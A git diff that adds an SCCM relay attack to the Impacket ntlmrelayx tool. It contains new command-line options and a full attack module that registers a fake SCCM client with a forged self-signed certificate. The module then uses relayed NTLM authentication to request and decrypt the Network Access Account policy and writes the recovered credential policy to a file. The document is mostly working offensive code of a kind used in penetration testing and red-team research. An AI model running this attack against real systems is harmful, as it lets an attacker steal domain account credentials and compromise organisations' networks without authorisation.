diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py
index 81f2360abe..f1d36c0cdc 100755
--- a/examples/ntlmrelayx.py
+++ b/examples/ntlmrelayx.py
@@ -173,6 +173,9 @@ def start_servers(options, threads):
options.cert_outfile_path)
c.setAltName(options.altname)
+ c.setIsSCCMAttack(options.sccm)
+ c.setSCCMOptions(options.sccm_device, options.sccm_fqdn,
+ options.sccm_server, options.sccm_sleep)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
@@ -357,6 +360,14 @@ def stop_servers(threads):
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')
+ # SCCM options
+ sccmoptions = parser.add_argument_group("SCCM attack options")
+ sccmoptions.add_argument('--sccm', action='store_true', required=False, help='Enable SCCM relay attack')
+ sccmoptions.add_argument('--sccm-device', action='store', metavar="DEVICE", required=False, help='Name of fake device to register')
+ sccmoptions.add_argument('--sccm-fqdn', action='store', metavar="FQDN", required=False, help='Fully qualified domain name of the target domain')
+ sccmoptions.add_argument('--sccm-server', action='store', metavar="HOSTNAME", required=False, help='Hostname of the target SCCM server')
+ sccmoptions.add_argument('--sccm-sleep', action='store', metavar="SECONDS", type=int, default=5, required=False, help='Sleep time before requesting policy')
+
try:
options = parser.parse_args()
except Exception as e:
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py
index 725bdb9f7f..094f802caf 100644
--- a/impacket/examples/ntlmrelayx/attacks/httpattack.py
+++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py
@@ -17,11 +17,12 @@
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
+from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmattack import SCCMAttack
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
-class HTTPAttack(ProtocolAttack, ADCSAttack):
+class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMAttack):
"""
This is the default HTTP attack. This attack only dumps the root page, though
you can add any complex attack below. self.client is an instance of urrlib.session
@@ -34,6 +35,8 @@ def run(self):
if self.config.isADCSAttack:
ADCSAttack._run(self)
+ elif self.config.isSCCMAttack:
+ SCCMAttack._run(self)
else:
# Default action: Dump requested page to file, named username-targetname.html
# You can also request any page on the server via self.client.session,
diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py
new file mode 100644
index 0000000000..012626ae25
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmattack.py
@@ -0,0 +1,304 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+# SCCM relay attack
+# Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf)
+#
+# Authors:
+# Tw1sm (@Tw1sm)
+
+
+import datetime
+import zlib
+import requests
+import re
+import time
+from pyasn1.codec.der.decoder import decode
+from pyasn1_modules import rfc5652
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.serialization import PublicFormat
+from cryptography.hazmat.primitives.asymmetric import rsa
+from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography import x509
+from cryptography.x509.oid import NameOID
+from cryptography.hazmat.primitives import hashes
+from cryptography.x509 import ObjectIdentifier
+from requests_toolbelt.multipart import decoder
+from impacket import LOG
+
+
+class SCCMAttack:
+ dateFormat = "%Y-%m-%dT%H:%M:%SZ"
+
+ now = datetime.datetime.utcnow()
+
+ # Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy!
+ registrationRequestWrapper = "{data}{signature}\x00"
+ registrationRequest = """{encryption}{signature}"""
+ msgHeader = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000"""
+ msgHeaderPolicy = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000"""
+ policyBody = """GUID:{clientid}{clientfqdn}{client}SMS:PRI"""
+ # reportBody = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}"""
+
+
+ def _run(self):
+ LOG.info("Creating certificate for our fake server...")
+ self.createCertificate(True)
+
+ LOG.info("Registering our fake server...")
+ uuid = self.sendRegistration(self.config.sccm_device, self.config.sccm_fqdn)
+
+ LOG.info(f"Done.. our ID is {uuid}")
+
+ # If too quick, SCCM requests fail (DB error, jank!)
+ LOG.info(f"Sleeping {self.config.sccm_sleep} seconds to allow SCCM server time to process...")
+ time.sleep(self.config.sccm_sleep)
+
+ target_fqdn = f"{self.config.sccm_device}.{self.config.sccm_fqdn}"
+ LOG.info("Requesting NAAPolicy...")
+ urls = self.sendPolicyRequest(self.config.sccm_device, target_fqdn, uuid, self.config.sccm_device, target_fqdn, uuid)
+
+ LOG.info("Parsing policy...")
+
+ for url in urls:
+ result = self.requestPolicy(url)
+ if result.startswith(""):
+ result = self.requestPolicy(url, uuid, True, True)
+ decryptedResult = self.parseEncryptedPolicy(result)
+ Tools.write_to_file(decryptedResult, "naapolicy.xml")
+
+ LOG.info("Decrypted policy dumped to naapolicy.xml")
+
+
+ def sendCCMPostRequest(self, data, auth=False):
+ headers = {
+ "Connection": "close",
+ "User-Agent": "ConfigMgr Messaging HTTP Sender",
+ "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\""
+ }
+
+ if auth:
+ self.client.request("CCM_POST", "/ccm_system_windowsauth/request", headers=headers, body=data)
+ r = self.client.getresponse()
+ content = r.read()
+ else:
+ tried = 0
+ while True:
+ if tried < 10:
+ self.client.request("CCM_POST", "/ccm_system/request", headers=headers, body=data)
+ r = self.client.getresponse()
+ content = r.read()
+ tried += 1
+ if content == b'':
+ LOG.info("Policy request appears to have failed, resending in 5 seconds")
+ time.sleep(5)
+ else:
+ break
+ else:
+ LOG.info("Policy request failed 10 times, exiting")
+ exit()
+
+ multipart_data = decoder.MultipartDecoder(content, r.getheader("Content-Type"))
+ for part in multipart_data.parts:
+ if part.headers[b'content-type'] == b'application/octet-stream':
+ return zlib.decompress(part.content).decode('utf-16')
+
+
+ def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False):
+ headers = {
+ "Connection": "close",
+ "User-Agent": "ConfigMgr Messaging HTTP Sender"
+ }
+
+ if authHeaders == True:
+ headers["ClientToken"] = "GUID:{};{};2".format(
+ clientID,
+ SCCMAttack.now.strftime(SCCMAttack.dateFormat)
+ )
+ headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, SCCMAttack.now.strftime(SCCMAttack.dateFormat)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper()
+
+ self.client.request("GET", url, headers=headers)
+ r = self.client.getresponse()
+ content = r.read()
+ if retcontent == True:
+ return content
+ else:
+ return content.decode()
+
+
+ def createCertificate(self, writeToTmp=False):
+ self.key = CryptoTools.generateRSAKey()
+ self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client")
+
+ if writeToTmp:
+ with open("/tmp/key.pem", "wb") as f:
+ f.write(self.key.private_bytes(
+ encoding=serialization.Encoding.PEM,
+ format=serialization.PrivateFormat.TraditionalOpenSSL,
+ encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"),
+ ))
+
+ with open("/tmp/certificate.pem", "wb") as f:
+ f.write(self.cert.public_bytes(serialization.Encoding.PEM))
+
+
+ def sendRegistration(self, name, fqname):
+ b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper()
+
+ embedded = SCCMAttack.registrationRequest.format(
+ date=SCCMAttack.now.strftime(SCCMAttack.dateFormat),
+ encryption=b,
+ signature=b,
+ client=name,
+ clientfqdn=fqname
+ )
+
+ signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper()
+ request = Tools.encode_unicode(SCCMAttack.registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii')
+
+ header = SCCMAttack.msgHeader.format(
+ bodylength=len(request)-2,
+ client=name,
+ date=SCCMAttack.now.strftime(SCCMAttack.dateFormat),
+ sccmserver=self.config.sccm_server
+ )
+
+ data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
+
+ deflatedData = self.sendCCMPostRequest(data, True)
+ r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData)
+ if r != None:
+ return r[0]
+
+ return None
+
+ def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID):
+ body = Tools.encode_unicode(SCCMAttack.policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n"
+ payloadCompressed = zlib.compress(body)
+
+ bodyCompressed = zlib.compress(body)
+ public_key = CryptoTools.buildMSPublicKeyBlob(self.key)
+ clientID = f"GUID:{uuid.upper()}"
+ clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper()
+ payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper()
+
+ header = SCCMAttack.msgHeaderPolicy.format(
+ bodylength=len(body)-2,
+ sccmserver=self.config.sccm_server,
+ client=name,
+ publickey=public_key,
+ clientIDsignature=clientIDSignature,
+ payloadsignature=payloadSignature,
+ clientid=uuid,
+ date=SCCMAttack.now.strftime(SCCMAttack.dateFormat)
+ )
+
+ data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
+
+ deflatedData = self.sendCCMPostRequest(data)
+ result = re.search("PolicyCategory=\"NAAConfig\".*?([^]]+)", deflatedData, re.DOTALL + re.MULTILINE)
+ #r = re.findall("http://(/SMS_MP/.sms_pol?[^\]]+)", deflatedData)
+ return [result.group(1)]
+
+ def parseEncryptedPolicy(self, result):
+ # Man.. asn1 suxx!
+ content, rest = decode(result, asn1Spec=rfc5652.ContentInfo())
+ content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData())
+ encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets()
+ iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:]
+ body = content['encryptedContentInfo']['encryptedContent'].asOctets()
+
+ decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body)
+ policy = decrypted.decode('utf-16')
+ return policy
+
+
+class Tools:
+ @staticmethod
+ def encode_unicode(input):
+ # Remove the BOM
+ return input.encode('utf-16')[2:]
+
+ @staticmethod
+ def write_to_file(input, file):
+ with open(file, "w") as fd:
+ fd.write(input)
+
+
+class CryptoTools:
+ @staticmethod
+ def createCertificateForKey(key, cname):
+ subject = issuer = x509.Name([
+ x509.NameAttribute(NameOID.COMMON_NAME, cname),
+ ])
+ cert = x509.CertificateBuilder().subject_name(
+ subject
+ ).issuer_name(
+ issuer
+ ).public_key(
+ key.public_key()
+ ).serial_number(
+ x509.random_serial_number()
+ ).not_valid_before(
+ datetime.datetime.utcnow() - datetime.timedelta(days=2)
+ ).not_valid_after(
+ datetime.datetime.utcnow() + datetime.timedelta(days=365)
+ ).add_extension(
+ x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False,
+ key_agreement=False, content_commitment=False, data_encipherment=True,
+ crl_sign=False, encipher_only=False, decipher_only=False),
+ critical=False,
+ ).add_extension(
+ # SMS Signing Certificate (Self-Signed)
+ x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]),
+ critical=False,
+ ).sign(key, hashes.SHA256())
+
+ return cert
+
+ @staticmethod
+ def generateRSAKey():
+ key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+ return key
+
+ @staticmethod
+ def buildMSPublicKeyBlob(key):
+ # Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb
+ blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00"
+ blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little")
+ return blob.hex().upper()
+
+ # Signs data using SHA256 and then reverses the byte order as per SCCM
+ @staticmethod
+ def sign(key, data):
+ signature = key.sign(data, PKCS1v15(), hashes.SHA256())
+ signature_rev = bytearray(signature)
+ signature_rev.reverse()
+ return bytes(signature_rev)
+
+ # Same for now, but hints in code that some sigs need to have the hash type removed
+ @staticmethod
+ def signNoHash(key, data):
+ signature = key.sign(data, PKCS1v15(), hashes.SHA256())
+ signature_rev = bytearray(signature)
+ signature_rev.reverse()
+ return bytes(signature_rev)
+
+ @staticmethod
+ def decrypt(key, data):
+ print(key.decrypt(data, PKCS1v15()))
+
+ @staticmethod
+ def decrypt3Des(key, encryptedKey, iv, data):
+ desKey = key.decrypt(encryptedKey, PKCS1v15())
+
+ cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv))
+ decryptor = cipher.decryptor()
+ return decryptor.update(data) + decryptor.finalize()
diff --git a/impacket/examples/ntlmrelayx/clients/httprelayclient.py b/impacket/examples/ntlmrelayx/clients/httprelayclient.py
index c2291fd7a7..cd453c24ce 100644
--- a/impacket/examples/ntlmrelayx/clients/httprelayclient.py
+++ b/impacket/examples/ntlmrelayx/clients/httprelayclient.py
@@ -97,7 +97,10 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
token = authenticateMessageBlob
auth = base64.b64encode(token).decode("ascii")
headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
- self.session.request('GET', self.path,headers=headers)
+ if self.serverConfig.isSCCMAttack:
+ self.session.request("CCM_POST", self.path, headers=headers)
+ else:
+ self.session.request('GET', self.path,headers=headers)
res = self.session.getresponse()
if res.status == 401:
return None, STATUS_ACCESS_DENIED
diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py
index 395381d733..10830d2852 100644
--- a/impacket/examples/ntlmrelayx/utils/config.py
+++ b/impacket/examples/ntlmrelayx/utils/config.py
@@ -106,6 +106,13 @@ def __init__(self):
self.ShadowCredentialsExportType = None
self.ShadowCredentialsOutfilePath = None
+ # SCCM attack options
+ self.isSCCMAttack = False
+ self.sccm_device = None
+ self.sccm_fqdn = None
+ self.sccm_server = None
+ self._sccm_sleep = 5
+
def setSMBChallenge(self, value):
self.SMBServerChallenge = value
@@ -243,6 +250,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials
def setAltName(self, altName):
self.altName = altName
+ def setIsSCCMAttack(self, isSCCMAttack):
+ self.isSCCMAttack = isSCCMAttack
+
+ def setSCCMOptions(self, device, fqdn, server, sleep_time):
+ self.sccm_device = device
+ self.sccm_fqdn = fqdn
+ self.sccm_server = server
+ self.sccm_sleep = sleep_time
+
def parse_listening_ports(value):
ports = set()
for entry in value.split(","):
diff --git a/requirements.txt b/requirements.txt
index cd19c89ecd..559d15b0eb 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -9,3 +9,5 @@ ldapdomaindump>=0.9.0
flask>=1.0
pyreadline;sys_platform == 'win32'
dsinternals
+pyasn1-modules
+requests-toolbelt
diff --git a/setup.py b/setup.py
index fba743fda6..35c63cdd93 100644
--- a/setup.py
+++ b/setup.py
@@ -70,7 +70,8 @@ def read(fname):
scripts=glob.glob(os.path.join('examples', '*.py')),
data_files=data_files,
install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',
- 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals'],
+ 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'future', 'charset_normalizer', 'dsinternals',
+ 'pyasn1-modules', 'requests-toolbelt'],
extras_require={'pyreadline:sys_platform=="win32"': [],
},
classifiers=[